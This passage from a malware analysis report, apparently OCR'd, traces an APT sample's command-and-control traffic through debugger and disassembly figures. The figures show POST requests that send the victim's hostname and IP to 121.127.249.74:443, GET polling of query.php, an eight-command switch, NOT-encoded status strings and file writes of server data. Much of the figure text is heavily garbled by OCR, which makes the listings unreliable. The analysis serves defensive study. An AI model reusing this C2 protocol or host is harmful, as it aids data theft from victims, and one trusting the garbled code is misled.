length parameter is 1). It stops when the result contains “\x0d\x0a\x0d\x0a” (2 new lines
characters in Windows) and it checks to see if the response contains “200 OK”, which means
that the connection was successfully established:

_—— e = . —— ——

- EA 0O push 0 X87TY
! ] 64 01 push 1
! & 8B 45 F4 mov eax,dword ptr ss:[[ebp-Cfl X875
! & 671863AD 8D 44 20 FF Tea eax,dword ptr ds: [eax+esi-1] XE75h
1 #| 671863E1 50 push eax XBT7S5h
] #| 67186382 8B 45 FC mov eax,dword ptr ss:[[ebp-4] X875\
! #®| 67186385 50 push eax ——
Eg————» E8 7D E2 FF FF €all <apt.recv> ]
] | ey o e
i = = Default
1: [e
<apt.recv> 2: [e
3: [e
4: [e
CODE: 671863B6 apt.exe:$63B6 #57B6 = =
1 z ooo00230
@Woump1  @oump2z  @Woump3  @Moump4  @oumps B watch1i  [=lLocals & Shruct | [
| address | Hex | AscII | h" %i:i:g{: 00000001
| 03FE0894 [ 0B) 00 00 00|E4 BS 18 67 [F4 BS 18 &7[64 37 00 00|L...0u.qou.qd7.. | e e T e
Figure 46

There is also a second comparison between the response and the “!!” string (if the result
doesn’t contain “!'”, then the process performs a closesocket API call):
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il s =]

CODE:67186CES push 64h ; 'd’ ; dwMilliseconds

CODE:67186CE7 call Sleep

CODE:67186CEC lea edx, [ebptvar_14]

CODE:67186CEF mov eax, [esi]

CODE:67186CF1 call sub_B7186334

CODE : 67186CF6 mov eax, [ebptvar_14]

CODE:67186CF9 mov edx, offset str___ 2.Text ; !! string

CODE:67186CFH call @system@@LstrCmpSggqry ; System::_ linkproc__ LStrCmp(void)

CODE:67186D03 jz short loc_ 67136019

] 1 Y
il et 5=
CODE: 67186019
CODE:67186D12 loc_G7186D19:
CODE: 67186019 push 64h ; 'd
CODE:67186D1B call Sleep
CODE:67186028 mov edx, [ebpt+var
CODE:67186D23 mov eax, [esi]
CODE:67186D25 call sub_G7186B68
CODE:67186D2A test al, al
CODE:67186D2C Hiz short loc 671
Figure 47

The hostname and the IP address of the local machine are exfiltrated to the C2 server using
a POST request. The SessionlID parameter is randomly generated:

i . EA 00 push o

kLl #®| 67186B85 BB 45 FC mov eax,dword ptr ss:[febp-4]

) i L E8 BF CB FF FF €all apt.6718374C

I ® 50 push esax

:: ® BB 45 FC mov eax,dword ptr ss:[Bebp-4]

] . E8 B6 CD FF FF €811 apt.6718394C

P! o ZEE9E 50 push eax

ki ] -T'SGBD‘ 1 push esi
|mi—:—i—>- ES A3 DA FF FF call <apt.send>

| | ] S5 5

\P’v =
<apt. send>
CODE: 67136B958 apt.exe: $§6B93 #5F38

IEEFEEEEY 00000
@oumpt  @yYpumpz Woump3  @oumps  @oumps @ watch1  [x=lLolal .005 03FEO§§3 “posT

Address | Hex ASCII "~ ggigi:gg LLLLidEn
D3FEO7F20|50] 4F 53 54|20 2F 63 78|70 69 64 2F|73 75 62 6D |POST Scxpid/subm O019EEE4 gggggggi e
D3FEDF30( 69 74 2E 70|68 70 3F 53|65 73 73 63|6F GE 49 44|it.phprTsessionID [1[11;;:;5 £71BEBBS aEn: e
0ZFEO740( 3D 36 37 20|48 54 54 50|2F 31 2E 30|0D 0A 48 &F (=67 HTTP/1.0..Ho o= = 0019FEFC ;
0O3FEO750( 73 74 3A 20(31 32 31 2E|31 32 37 2E|32 34 39 ZE(st: 121.127.249. 6718BE80 | apt.6;
O3FEO760| 37 24 3A 34|34 33 0D 0A|55 732 65 722D 41 67 65|74:442,,.User-Age 00000000
OZIFEOQOF70O|GE 74 3A 204D &F 7A 69(6C &C 61 2F|(24 2E 20 20(nt: Mozillas4.0 2| 0zFE07z0 | "POST
O3FEO780| 28 63 &F 6D |70 61 74 69|62 6C 65 ZB|(20 4D 53 49| (compatible; MSI O019FEFC | 0019EF2C
O3FEO790| 45 20 37 2E|30 3B 20 57|69 6E 64 G&F|77 73 20 4E|E 7.0; windows N O019EF00 F67186D2A | returs
O3FEO7AD|54 20 35 2E|31 3B 20 53|56 31 29 OD|0A 41 63 63| T 5.1; Swl)..Acc uhIJ'}ﬁ: OO19FF34| Fointe
O3FEOFBO| 65 70 74 3A|20 2A 2F 2A|0D 0OA 41 63|63 65 70 74| ept: */*, . Accept 0019FF08 || 67186D79| apt P
O3FEO7CO| 2D 4C 61 6E |67 75 61 67|65 3A 20 65|6E 2D 75 73| -Language: en-us oo1aeroc | oo19FFzC 7
O3FEO7FDO| 0D DA 43 6F |6E 6E 65 63|74 63 6F GE|3A 20 4B 65| ..Connection: Ke o019FF10 || 671912F0| apt.Er
O3FEOFEQ| 65 70 2D 41|6C 69 76 G5 |0D OA 43 6F|BE 74 65 GE|ep-Alive..Conten = T O020B000 h
O3FEOFFO| 74 2D 54 79|70 65 3A 20|74 65 78 74|2F 68 74 6D | t-Type: text/htm Q0000000
O3FEOBO0|6C 0D OA 43|6F GE 74 65 |6E 74 2D 4C |85 GE &7 74(1..Content-Lengt 00015 E90
OZFEO810| 68 3A 20 31|30 39 0D OA|OD OA 3C 6B|(74 6D 6&C 2E|h: 109....<html> 00000001
DOZFEO820|3C 68 65 61|64 3E 3C 74|69 74 6C 65 |3E 52 65 73| <head><titlexRes PU;“— -4|l o0zFEQ720| "POST
O3FEDB30|75 6C 74 3C|2E 74 €9 74|6C 65 3E 3C|2F 68 65 6l|ult</titlex</hea GHinit G ieraaaE e
O3FEOB40| 64 2ZE OD 0A|3C 62 &F 64|79 3E 3C 65|24 ZE 44 45| d>..<body><h4>DE 6U,ﬂ_ s L 0019FEFSC
O3FEOB50|53 4B 54 4F |50 2D 32 DN 2F 32 31| SKTOP-2 S 21 001 s0lreris90zal returs
O3FEO860| 35 38 32 37|34 37 35 32|2F 32 31 35|38 32 37 34|58274752/2158274 n013rE34 || 0019FFE4| Poq e
O3FEO870|37 35 32 30|3C 2F 68 34|3E 3C 2F 62 |6F 64 79 3E| 7520</h4></body> no1areas | 6718904E | ant. &
O3FEO880|3C 2F €8 74|6D 6C 3E 00|E4 BS 18 &7 (E4 BS 18 67| </html>.6u.gou.g| * ri;:.“”, SHeaenilal e
Figure 48

As before, there are multiple recv function calls following the POST request, and the process

expects the response to contain “200 OK” and “Success”.

If it doesn’t, then there is a Sleep

call for 90 seconds and it tries again. A new thread is created using the CreateThread
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function:

Figure 49
Thread activity

Some parameters used in the network communications like “id” and “SessionID” are
generated by a function called “Randomize”:

il a5

CODE:67182628

; Attributes: library function

; _DWORD

var_8= dword ptr -8

add esp, @FFFFFFFBh

push esp

call QueryPerformanceCounter
test eax, eax

jz short loc_67182634

__cdecl System::Randomize()
isystemiiRandomize$gqrv proc near

3 lpPerformanceCount

-

[l e 55

il e =

Mo
Mo
pop eCx
pop edx
retn

eax, [esp+3+var_8]
ds:dword B718ABBE, eax

Figure 50

loc_67182634:

call GetTickCount

mov ds:dword_6718APBE, eax
pop ecx

pop edx

retn

@systemiRandomize$qqrv endp

It's important to mention that some HTTP headers are just decrypted before the network
communication is performed using the algorithm described in the first paragraphs. The
sample performs another GET request using the send function:

L] 50 push eax %E
- &4 00 push 0 %8
. 64 00 push 0
. 68 64 83 13 &7 push apt.67188364 K8
] 64 00 push 0
L 64 00 push 0 —E
EIP g 1 ES8 D8 B4 FF FF call <apt.CreateThread:> v |—
- e ) 3 Def
a s
<apt.CreateThread> 2
3:
4:
CODE: 6718905B apt.exe: $305B #8458
00000000
Hl‘él DI-II'ﬂD 1 ﬂli'-l DLJITI|:| 2 m'd DLJITID 3 Ul'ul DI.-IITI|:| 4 ﬂli'ul DI.-IITID 5 @ Watch 1 [x=] LOEE|! 0019FF20 | 00000000
e e ASCII = ggigzzgg 67188364 | apt. 67188364
67186B58 (53 75 62 63|65 73 73 00|55 8B EC 51(53 56 895 55 SUCCESS&¥.1Q§L\.-'.U D019FF2C | 00000000
67186B68 | FC BB FO BB|45 FC ES C9(CD FF FF 33|C0D 55 &8 B8 |0.d.ElUeELyvzAun,
EFT1RER7AI ER 18 £7 RAlFFE 2In £Ea Aal2n 22 ne £alnn 28R ac Bl k. Aadend z}{'i Eil OD13FF30| OD13FFS8
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o | 7156853 64 0O push 0
#| 67186B85 8B 45 FC mov eax,dword ptr ss:|[ebp-4ff
e c7186B88 EB BF CE FF FF €all apt.&718374C
#| 67186B8D 50 push eax
®( 67186B3E 8B 45 FC mov eax,dword ptr ss:[Jebp-4]
e 671868921 EB BE CD FF FF €all apt.&718394C
®( 67186896 50 push eax
| 67186E97 1) push esi
- ES8 A3 DA FF FF call <apt.send-
| 67186B9D 45 dec eax
®| 671B6B3E ~ FC 02 j1 apt.6718G6BAZ hd
*l< >
CODE:67186B98 ApT.exe:i6B98 #5FI8
: [EEEELLEL] 00000130
ﬂiUDuml:ll MDUITIFIZ MDUITIFIS mDUITIFIq' MDUITIFIE @Wabchl [%=] Locals 4 ﬁj 0471DD7 4 | 03FE0SD4 | "GET
Address | Hex ASCIT A e e
O3FEO9D4 |47 45 54 20(68 74 74 7FO|3A 2F 2ZF 3132 31 2E 31|GET http://121.1 ST RITALY 00 4 A S Er
O3FEO9E4 |32 37 2E 32 (34 39 2E 37|34 3A 34 34|33 2F 71 75(27.249.74:443/qu i e A REREE aEnt :
O3FEO9F4| 65 72 79 ZE|70 68 70 3F|69 64 3D 34|36 33 20 48|ery.phprid=463 H B o= e
OIFEQOAD4 |54 54 50 2F (31 2E 30 OD|0A 41 63 63|65 70 74 JA|TTP/L1.0..Accept: i]4;lDDSC 67188364 | apt.
0O3FEDAL14|20 2A 2F 2A(0D DA 41 63|63 65 70 74|20 4C 61 6E| =/¥..Accept-Lan 04710090 | CO000000
D3FEDAZ4| 67 75 61 67|65 3A 20 65|6E 2D 75 72 |0D 0A 48 6F|guage: en-us..Ho 04710094 | 03EEDSD4 | GET
O3FEOA34 |73 74 3A 20(31 32 31 2E|31 32 37 2E (32 34 39 2E|st: 121.127.249. S s
O3FEOA44 |37 34 3A 34(34 33 OD OA|50 72 61 67|60 61 3A 20|74:443..Pragma: R innEe FeEeTon e
O3FEOAS4|6E 6F 2D 63|61 63 68 65|00 DA 55 73|65 72 2D 41|no-cache..User-A Sk inhaG | DA et o
OIFEOAG4 |67 65 GE 74(3A 20 4D 6F|7A 69 6C &C |61 2F 34 2E|gent: Mozillas4. L'I-1--"J.DDT—“4 67185B94 aat |
D3FEDA74|30 20 28 62 |6F 6D 70 61|74 69 62 6C|65 3B 20 4D |0 (compatible; M ne7ionas | 047 1FFa0
O3FEDAB4|53 49 45 20(36 2E 30 3B|20 57 69 6E|64 6F 77 73 |SIE 6.0; windows n47ionac || 67188364 apt.:
O3FEOA94|20 4E 54 20(35 2E 31 3B|20 53 56 31|29 OD 0A 43| NT 5.1; 5Vv1)..C sherril| e apt'-
D3FEOAA4|6F 6E G6E 65|63 74 69 6F [6E 3A 20 4B|65 65 70 2D|onnection: Keep- i | bboomnang
O3FEOAB4| 41 6C 69 76|65 OD 0OA OD|DA 00 00 0O|E4 BS 18 67 [ATlive....... &u. g et | i)
Figure 51
The file reads the response from the server using the recv function, byte-by-byte. It expects
H 1} ” . H H 13 ”
again a “200 OK” string and as opposed to before, it expects the response not to contain “!!
(if it does, the malware exits):
I ®| 671863A6 6A 00 push 0
! ®| 671863A8 6A D1 push 1
I | 67156344 8B 45 F4 mov eax,dword ptr ss:[febp-C]
! | 671863AD 8D 44 30 FF lea eax,dword ptr ds:[eax+esi-1]
1 | 671863B1 50 push eax
i ®| 67186382 8B 45 FC mov eax,dword ptr ss:[febp-4]
i ®| 67186385 50 push eax
EIF e EB 7D E2 FF FF €all <apt.recvs
I L] 7 8B D8 mov ebx,eax
: L ] £ >
p
<apt.recvs
CODE: 671863B6 apt.exe:$63B6 #57B6
: 00000190
Hi'lilﬂumpl HitlDump?_ I;li'h'|::|I.JI'I'I|:I:.:'P ElitlDump‘} ElitlDumpE |@'Il"‘-l'atd'l:l. [x=] Locals 4 ?j 0471D928 | 0ZFEQACC
sddress | Hex ASCIT ~ | S iona snsnnuas
03FEOACC |00 00 00 OO|E4 BE 18 g7 |E4 BS 18 &7|2C 35 00 OO|L...OM.QOM.g,5.. T e e e

Figure 52

The process parses the response from the C2 server for an integer corresponding to a
command that has to be executed. It implements 8 different commands, as shown in figure

53:
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CODE:R718845F call unknown_libname_&6 ; BDS 2885-2887 and Delphis-7 Visual Component Library
CODE: 67188464 mov ebx, eax

CODE:R7188466 lea eax, [ebp+wvar_24]

CODE:67188469 push eax

CODE:67188464A mov ecx, ebx

CODE:6718846C dec eCx

CODE:6718846D0 mov edx, 1

CODE:67188472 mov eax, [ebp+var_38]

CODE:67188475 call @system@@LstrCopyfgqqrv ; System::  linkproc__ LStrCopy(void)
CODE:B718847A lea eax, [ebptvar_38]

CODE: 67183470 mov ecx, ebx

CODE :6718847F mov edx, 1

CODE:67188484 call @System@iLstrDeletefqqry ; System::_ linkproc__ LStrDelete(woid)
CODE:57188439 mov edx, [ebptvar_3@]

CODE:6718843C mov eax, offset _str___ 18.Text

CODE:67188491 call unknown_libname_66 ; BDS 2085-2807 and Delphi6-7 Visual Component Library
CODE:67188496 mov ebx, eax

CODE:67188498 lea eax, [ebp+war_28]

CODE:B718849B push eax

CODE:6718349C mov ecx, ebx

CODE:671BB49E dec eCx

CODE : 6718849F mov edx, 1

CODE:B71884A4 mov eax, [ebptvar_38]

CODE:B71884A7 call @systemBiLStrCopy$gqry ; System::_ linkproc__ LStrCopy(wvoid)
CODE:671884AC mov eax, [ebptvar_1C]

CODE:B71884AF call unknown_libname_75 ; BDS 2885-2887 and Delphi6-7 Visual Component Library
CODE:671384B4 cmp eax, 7 ; switch 8 cases

CODE:R71BB4B7 ja def_671384BD jumptable 671884BD default case

Figure 53

Case1-EAX=0

The process sends a POST request to the server that contains a similar HTML document,

however the exfiltrated information is different. The following bytes can be highlighted: CF 83

CD 83 CF 83, on which we can apply a NOT operation and obtain 30 7C 32 7C 30 7C

(0[210]):
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i : ®| 67186B83 &A 00 push 0
L #| 67186B85 BB 45 FC mov eax,dword ptr ss:|[febp-4]
! i ®| 671836BE8 E8 BF CB FF FF Eall apt.6718374C
I e 67LEEBED 50 push eax
! ! #| 67186BBE BB 45 FC mov eax,dword ptr ss:[Jebp-4[
(e e 671E86EB91 E8 BE CD FF FF cdall apt.6&6718394C
P! e 67T1EGB9E 4] push sax
i ®| 67186897 56 push esi
Eg— E8 AZ DA FF FF €all <apt.send>
b 67186890 48 dec eax
i | ----®| 671BEBIE| ~ 7C 02 j1 apt.67186BAZ
1
bry N
<apt.send:>
CODE: &67186B98 apt.exe: $6B98 #5F938
- =0 T
@oump1  @pumpz @Yoump3 @oump4  PWoumps @ watch1  =lloals { P oerinpra BEFE{H:;-EE
address | Hex ASCII A 0471DDT 8 | 00000146
O3FEODS0 |50 4F 53 54|20 2F 63 78|70 69 64 2F |73 75 &2 6D |POST JScxpid/subm g:z}gggg 047 10D AD
O3FEODGD| 69 74 2E 70|68 70 3F 53|65 73 73 69|6F GE 49 44|it.php7TSessionID []4%J.DDS4 67 156BES
O3FEOD70O| 3D 36 32 20|48 54 54 50|2F 21 2E 30|0D OA 48 &F|=62 HTTP/1.0..Ho 04710088 | 0471DD 98
O3FEODBO|( 73 74 3A 20|31 32 31 2E|31 32 37 2E|32 34 39 2E|S5T: 121.127.249. 047100 8C | oooooooo
0O3FEOD20( 37 34 3A 34|34 33 0D DA|LS5 73 65 72|2D 41 &7 65 ?4:443.._User—AgE 04710020 | DODOOO00D
O3FEODAD|BE 74 3A 20|4D 6F FA 69|6C 6C 61 2F |34 2E 30 20(nt: Mozilla/4.0 04710094 | O2ZFEODSO
O3FEODBO| 28 63 6F 6D |70 61 74 69|62 6C 65 3IB|20 4D 53 49| (compatible; MSI "J-‘rﬂ.DDBS 047 1FF80
O3FEODCO| 45 20 37 2E|30 3B 20 57|69 6E 64 GF |77 73 20 4E|E 7.0; Windows N ﬂ4;lDD9C 67188584
O3FEODDO| 54 20 35 2E|31 3B 20 53|56 31 29 OD|0A 41 B3 63|T 5.1; SV1)..ACC U-‘r:'J.DDi‘\U D471FFCC
O3FEODEO| 65 70 74 3A |20 2A 2F 2A|0D 0A 41 63|63 65 70O 74| ept: *=/*,.Accept n4710044 | 67188894
03FEODFO| 2D 4C 61 6E|67F 75 61 67|65 3A 20 65|6E 2D 75 73(-Language: en-us n471poas [l o471FFBO
O3FEOEQO|OD 0OA 43 6F|6E 6E 65 63|74 69 6F GE|3A 20 4B 65 ..CEIr'Ir:IECt'I on: Ke na710DAC | 67188364
O3FEDEL1D| 65 70O 2D 41|6C 69 76 65|0D 0OA 43 BF|6E 74 65 &E|ep-Aliwve..Conten n4a7ippeon |l 67188264
OD3FEOE20| 74 2D 54 79|70 65 3A 20|74 65 78 74|2F 68 74 6D | t-Twpe: text,/htm []4;'1DDB4 00000000
O3FEQE30|6C OD 0OA 43|6F 6E 74 G5 |6E 74 2D 4C Z 74!1..Content-Lengt '14;1DDBS 00000000
O3FEOE40| 68 3A 20 37|37 0D 0A OD|QA 3IC €83 F4|6D 6C 3E 3C|h: 77....<html>< ﬁ4;lDDEC 00000000
D3FEOES0| 68 65 61 64|3E 3C 74 69|74 6C 65 3E|52 65 73 75| heads<titlesResu Ll-‘r._J.DDCU 00000000
O3FEOEGD|(6C 74 3C 2F|74 69 74 6C|65 3E 3C 2F |68 65 61 64 'It-:,.-’t'l't'le;--:jhgad []4;'1DDC4 00000000
O3FEOE7O| 3E OD OA 3C|62 6F 64 F9|3E 3C 68 34|3E CF 83 CD :-_._.-c:bcldy:\--:h4‘:-I.I D4;1DDCS 00000000
O3FEOEBD| 83 CF 83 3C|2F 683 34 3E|3C 2F 62 G6F |64 72 3E 3C .I.«:,.-"h4:~«5,.r‘bn:ugy::-4: 04;1DDCC 00000000
O3FEOE9O|2F 68 74 6D|6C 3E 00 OO|E4 BS 18 €7 |F4 BS 18 67 ,.-’Iht:'n'l:\-. SO, gop.g W [I-t:'lDDD[] 00000000
Figure 54

The reponse from the server is received using the recv function. If the connection was
successful, the process expects a “200 OK” string and also “Success”, as shown below:

CODE:67186A48
CODE : 67186A4D
CODE:B67186A53
CODE:67186A55
CODE:67186A50
CODE:67186A5EB
CODE: 67186A01
CODE : 67186A66
CODE:67186A6E

call

Mo

mow
pop

call

Mo

mow
call

jnz

unknown_libname_&3 ; BDS 2885-2887 and Delphif-7 Visual Component Library

eax, [ebptvar_44C]

edx, esi

eCx
@system@@LstrCopy$gqqry ; System::  linkproc__ LStrCopy(void)
eax, [ebptvar_448)]
edx, offset _str Success.Text ; Success
@system@iLstrCmpigqry ; System::_ linkproc__ LStrCmp(void)
short loc_67186A71

Figure 55
There is another GET request to the CnC server performed by the malicious process:
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® || 67186BE3 6A 00 push 0
®| 6718G6E85 BB 45 FC mov eax,dword ptr ss:|[[ebp-4]
® | 67186BE8 E8 BF CB FF FF E&TN apt.6718374C
®| 67186B8D 50 push eax
® (| 67 136BBE BB 45 FC mov_eax,dword ptr ss:[febp-4]
®(| 67186B91 E8 B& CD FF FF E&T1 apt.6718394C
®(| 67186B96 50 push eax
®( 67186B97 56 push esi
- E8 A3 DA FF FF call <apt.send-
#| 67186B9D 45 dec eax i
® | 671836B3E v FC 02 j1 apt.67186BA2 bl
*l< »
<apt.sends>
CODE: 67186B98 apt.exe:$6B98 #5F98
Woump1  @Woumpz  @Wpump3  @oump4  WHoumps @ watchi  Ix=llocals 4 W uq_n? MFEG:EE "GET
Address | Hex ASCIT R e e e
O3FECFC4 4% 45 5S4 20|68 74 74 70(3A 2F 2F 31(32 31 2E 31|BET http://121.1 047 10080 | 0471DDAC | Point
O3FEOFD4|32 37 2E 32|34 39 2E 37|34 3A 34 34(33 2F 71 75(27.249.74:443/qu 04710054 | 67 1BEERE aE-t ¢
O3FEOFE4| 65 72 79 2E(70 &8 70 3F|69 64 3D 33|34 34 20 48| ery.php?id=344 H 04710058 | 04710098 3
0O3FEOFF4|54 54 50 2F|(31 2E 30 0D (0OA 41 63 63|65 70 74 3A|TTP/L.0..ACCept: 047 1DDEC | 00000000
O3FEL004| 20 2A 2F 2A(0D 0A 41 63|63 65 70 74|20 4C 61 6E| */*. . Accept-Lan 04710090 | 00000000
O3FE1014| 67 75 61 67|65 3A 20 65|6E 2D 75 73|0D OA 48 &F|guage: en-us..Ho 04710094 | 03FEOFCH | "GET
O3FEL1024(73 74 3A 20(31 32 31 2E(|31 32 37 2E|32 34 39 2E(st: 121.127.249. 04710098 | 0471FESD
O3FE1034| 37 34 3A 34(34 33 OD DA|50 72 61 67 |6D 61 3A 20|74:443..Pragma: 0471009¢C IFE71885ED | retur
O3FE1044|6E 6F 2D 63|61 63 68 65|0D DA 55 73|65 72 2D 41|no-cache..User-A 04710040 | 0471FFce| Pont
O3FE1054| 67 65 GE 74(3A 20 4D 6F|FA 69 6C 6C |61 2F 34 ZE|gent: Mozilla/4. na71on44 || 67188894 aat é
O3FE1064|30 20 28 62|6F 6D 70 61|74 69 62 6C (65 3B 20 4D (0 (compatible; M ns7ionas | 0a71FFs0 3
O3FEL1074|53 49 45 20(36 2E 30 3B|20 57 69 GE|64 6F 77 73 |SIE 6.0; Windows 04710DAC || 67188364/ apt. ¢
O3FE1084|20 4E 54 20|35 2E 31 3B|20 53 56 31(29 0D 0A 43| NT 5.1; 5V1)..C 04710080 || 67188364 apt.i
O3FE1094|6F 6E 6E 65|63 74 69 G6F|6E 3A 20 4B(65 65 70 2D|onnection: Keep- 04710024 || oonooooo =
O3FE10A4| 41 6C 69 76|65 0D 0OA 0OD|0A 00 00 OO|E4 BS 18 &7 [Alive....... dp.g ikt | |t hel
Figure 56
The response from the server is expected to be larger this time (0x1000 = 4096 bytes):
®| 67188615 64 00 push 0
®( 67188617 63 00 10 OO 00 push 1000
®| 6718861C 8D 85 C8 DF FF FF Tea eax,dword ptr ss:[febp-z03&]
®( 67188622 g0 push eax
®| 67188623 Al EO AD 18 &7 mov eax,dword ptr ds: [671BA0ED]
®| 6718586238 8B 00 mov eax,dword ptr ds:[eax]
®| 6718862A 50 push eax
EIP *u E8 08 CO FF FF call <apt.recv>
@ 89 45 FO mov dword ptr ss:febp-10§,eax
L ]
<dpt.recv>
CODE: 67188628 apt.exe: $862B #TAZB
;) [EXEETEEDR] 00000130
@oump1  @Woumpz @Woump3  oump4  @oumps @ watthi | I=lleals {1 P oerinncs 04?1[.:':'3:
Address | Hex ASCII ~ | B innar oo
0471DF48 [0 00 00 0000 OO OO0 00(00 OO0 OO0 O00(00 OO0 O0 OO coe e ceennnnnn 047 1DDAD | 047 LFFCC
0471DF58| 00 0D OO0 OO|(00 OO OO0 OO0|00 00 00 QO[O0 OO0 00 00| @ .veeeenannsnnns 04710044 | 67188894
0471DF68| 00 OO0 OO OO (00 OO OO0 OO|00 Q00 OO0 QO[O0 OO0 OO0 00| . ueeeesnnnnsnnns 047100AS | 047 1FF80
0471DF78| 00 0D OO0 OO(00 OO0 OO0 00|00 00 00 QO[O0 OO0 00 00| . ueeeesnnnnsnnns 0471DDAC | 67188364
0471DF88| 00 OO0 OO0 OO (00 OO 00 0000 00 OO0 O00(00 00 O OO0 ..eee e cnnnnnnnn 04710DEC | 671BE364
0471DF98| 00 00 OO0 OO |00 OO0 OO0 00|00 00 00 QO(00 OO0 00 00| @ .veee e eannsnnns 047100E4 | DODOODODO
0471DFAS| 00O 0D OO OO|(00 OO0 OO0 00|00 00 OO0 QO[O0 OO0 00 00| @ ueeeecnnnnsnnns 047100EE | 0000000
0471DFBS| 00 OO0 OO OO(00 0O OO0 00|00 00 OO0 QO(00 OO0 00 00| . ueeeesnnnnsnnns 047100DEC | 00000000
0471DFCS| 00 OO 00 0000 OO OO 00(00 OO0 OO0 O00(00 OO0 O 00| .. e cnansnnnn n4710Dco | oooooooo
0471DFDS8| 0O OO OO OO(00 OO OO0 OO0|00 00 OO QO[O0 OO0 00 00| ...veeieannnnnns 047100C 4 | DoDOODODO
0471DFES| 00 OO0 OO OO(00 OO OO0 OO|00 Q00 OO0 QO[O0 OO0 00 00| i eeeeennnnsnnns 04710002 | ooooooon
047 1DFF8| 00 OO0 0O OO(00 OO OD OO|00 00 0D QO(D0 OO0 OO0 00| v eeeeennnnsnnns 047100CC | 00000000
0471E008| 00 OO0 00 OO 00 OO OO0 0000 OO0 OO0 O0O0(00 00 O OO0 ..eee e e cnannnnnn 04710000 | oooooooo
0471E018| 00 00 OO OO(00 0O OO OO|00 OO0 OO QO[O0 OO0 OO0 00| ..veeeeennnsnnns 04710004 | oooooDODO
0471E028| 00 0D OO OO(00 OO OO0 OO|O0 OO0 OO0 QO[O0 OO0 00 00| . ueeeeennnnsnnns 04710002 | oooooooo
0471E038| 00 OO 0O OO(00 OO OO OO|0D OO0 OO0 QO[O0 OO OO0 00| .veeeesnnansnnns 0471000C | 00000000
0471E048| 00 OO 00 0000 OO OO0 0000 OO0 OO0 OO0(00 OO0 O OO0 ..eee e cnnnnnnnn 047 1D0DED | ooDooDOO
0471E058| 00 OO0 OO OO|(00 OO OO0 OO|0O0 OO0 OO QO[O0 OO0 OO 00| ...veeinannsnnnn 047 1DDE4 | ooDOODODOD
0471E068| 00 OO0 OO OO(00 OO OO0 OO|O0D QO OO QO[O0 OO0 OO0 O0| . useeeennnnsnnns 047100EE | Doooooon
0471E078| 00 OO0 OO0 OO(0Q0 OO OO0 OO|00 00 0D QO(O00 OO0 00 00| . ueeeesnnnnsnnns 04710DEC | 00000000
0471E088| 00 00 00 00|00 00 00 00|00 00 00 0000 00 00 00f .. vuveversnsss ¥| 04710070 | 03FEOFCS
Figure 57

The response from the server is written to a file specified by a handle transmitted by the C2
server (in our case, this was 0 because we’re trying to emulate the C2 server
communications). The WriteFile API call is presented below:
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i ®| 6718292E 6A 00D push 0
] @ 67132930 8D 45 FC lea eax,dword ptr ss:[febp-4]
! ®( 67182933 50 push eax
! #| 67182934 8B 43 08 mov eax,dword ptr ds:[ebx+3]
! ®| 67182937 F7 EE imul esi
i ®| 67182939 S0 push eax
i ®| 67182334 57 push edi
! ®( 6718293B BB 03 mov eax,dword ptr ds:[ebx]
I ®( 67182930 50 push eax
EIF g £ FF 55 0OC call dword ptr ss:[ebp+C] W
! 2ol prempryn e e ——
AL >
dword ptr [ebp+C]=[0471DD84 <&WriteFilex»]=<apt.WriteFilex
CODE: 6718293E apt.exe:$293E #1D3E
ﬂiﬂDumF'l WDUITIH.Z MDUITIHS ﬂi'liiDump*% MDUITIDE @Watchl |x=] Locals ‘ F}I 0471DD5E | 0471DF48 | "AAR
0471DDSC | 00000100
EeEas (R —— e e L * | p471DDED | 0471DD74
0471DF4B |41 41 41 41(41 41 41 41(41 41 41 4141 41 41 41| AAAAAAAAAAAAAAAN 04710064 | 00000000
04710F58 |41 41 41 41(41 41 41 4141 41 41 4141 41 41 41| AAAAAAAAAAAAAARN 04710063 | DOT0DO0L
O471DFGE |41 41 41 41(41 41 41 41(41 41 41 41|41 41 41 41| AAAAAAAAAAAAAAAN 04710060 | 00000000
0471DF7B |41 41 41 41(41 41 41 41(41 41 41 41|41 41 41 41| AAAAAAAAAAAAAAAN 04710070 | oooooooo
O471DF8E | 41 41 41 41(41 41 41 41(41 41 41 41|41 41 41 41| AAAAAAAAAAAANAAN 04710074 | 00000100
0471DF9E | 41 41 41 41(41 41 41 41(41 41 41 4141 41 41 41| AAAAAAAAAAAAAAAN 04710078 | 04710094
04710DFAS |41 41 41 41(41 41 41 4141 41 41 4141 41 41 41| AAAAAAAAAAARAARN 0471DD7C FE7182909| rety
O471DFBE |41 41 41 41(41 41 41 41(41 41 41 41|41 41 41 41| AAAAAAAAAAAAAAAN na71ooe0 | coooooss
04710DFCB |41 41 41 4141 41 41 4141 41 41 41|41 41 41 41| AAAAAAAAANAANAAN 04710084 || 6718290¢ | apt.
O471DFDE | 41 41 41 41(41 41 41 41(41 41 41 4141 41 41 41| AAAAAAAAAAAANAAN na7ioosa | conooTe2
O471DFES |41 41 41 41(41 41 41 41(41 41 41 41|41 41 41 41| AAAAAAAAAAAAAAAN oa71ooac || oooooooo
04710FF8 |41 41 41 41(41 41 41 4141 41 41 4141 41 41 41| AAAAAAAAAAAAAARN 04710090 || ooo00000
O471E0CE |41 41 41 41(41 41 41 41(41 41 41 41|41 41 41 41| AAAAAAAAAAAAAAAN na7iooas boar1FEsD
0471E018 |41 41 41 4141 41 41 4141 41 41 4141 41 41 41| AAAAAAAAAAAAAARN s e
O471E02E8 |41 41 41 41(41 41 41 41(41 41 41 41|41 41 41 41| AAAAAAAAAAAANAAN na7iooac | conooonn
O471E03B |41 41 41 41(41 41 41 41(41 41 41 41|41 41 41 41| AAAAAAAAAAAAAAAN 04710040 | 0a71FECC| Poir
O471E048 |41 41 41 41(41 41 41 4141 41 41 4141 41 41 41| AAAAAAAAAAAANARN 04710DA4 || 67188894 apt.
O471E0SE |41 41 41 41(41 41 41 41(41 41 41 41|41 41 41 41| AAAAAAAAAAAAAAAN nariooas | 047 1FERD
O471E068 | 41 41 41 41|41 41 41 41|41 41 41 41|41 41 41 41| AAAAAAAAANAANARN w7 |ttt | B Rl e
Figure 58
The process announces the C2 server that the write operation was successful by issuing a
13 ”
POST request (NOT (CF 83 CE 83 CF 83) =30 7C 31 7C 30 7C =“0|1]0]"):
i o| 67186E83 64 00 push 0
! #| 67186B85 BB 45 FC mov eax,dword ptr ss:|[Jebp-4]
i ®| 6715658 ES8 BF CB FF FF €all apt.6718374C
i ®| 671EEEED 4] push eax
i ®| 67186B8E BB 45 FC mav eax,dword ptr ss:|Jebp-41
] ®| 67186B91 E8 B6 CD FF FF Call apt.6718394C
i ®| 67186895 50 push eax
1 | 67186B97 15 push esi
|E TP s m— ES A3 DA FF FF call <apt.send»
1 ¢ | 67186B9D 48 dec eax
